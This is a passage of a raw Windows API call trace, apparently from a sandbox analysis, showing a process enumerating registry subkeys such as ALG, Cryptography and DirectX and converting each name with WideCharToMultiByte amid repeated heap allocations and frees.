lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0222.868] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.868] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.868] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.868] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.868] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0xf6b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0222.868] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0222.868] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0xf6c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0222.869] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.869] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.869] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.869] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.869] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0xf6b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0222.869] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0222.869] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0xf6c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0222.869] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.869] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.869] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.869] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.869] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0xf6b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0222.869] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0222.869] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0xf6c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0222.869] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.869] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.869] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.869] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.869] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0xf6b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0222.869] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0222.869] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0xf6c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0222.869] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.869] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.869] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.869] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.869] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0xf6b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0222.869] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0222.870] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0xf6c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0222.870] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.870] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.870] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.870] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.870] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0xf6b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0222.870] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0222.870] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0xf6c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0222.870] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.870] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.870] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.870] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.870] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0xf6b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0222.870] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0222.870] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0xf6c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0222.870] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.870] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.870] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.870] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.870] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0xf6b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0222.870] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0222.870] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0xf6c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0222.870] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.870] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.870] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.870] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.870] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0xf6b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0222.871] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0222.871] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0xf6c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0222.871] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.871] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.871] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.871] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.871] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0xf6b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0222.871] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0222.871] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0xf6c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0222.871] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.871] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.871] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.871] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.871] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0xf6b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0222.871] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0222.871] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0xf6c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0222.871] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.871] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.871] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.871] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.871] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0xf6b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0222.871] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0222.871] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0xf6c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0222.871] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.871] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.872] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.872] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.872] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0xf6b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0222.872] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0222.872] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0xf6c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0222.872] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.872] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.872] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.872] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.872] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0xf6b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0222.872] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0222.872] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0xf6c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0222.872] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.872] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.872] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.872] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.872] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0xf6b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0222.872] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0222.872] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0xf6c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0222.872] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.872] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.872] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.872] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.872] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0xf6b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0222.872] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0222.873] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0xf6c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0222.873] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.873] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.873] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.873] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.873] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0xf6b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0222.873] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0222.873] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0xf6c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0222.873] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.873] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.873] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.873] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.873] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0xf6b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0222.873] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0222.873] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0xf6c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0222.873] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.873] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.873] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.873] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.873] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0xf6b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0222.873] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0222.873] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0xf6c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0222.874] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.874] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.874] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.874] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.874] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0xf6b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0222.874] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0222.874] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0xf6c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0222.874] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.874] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.874] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.874] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.874] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0xf6b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0222.874] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, 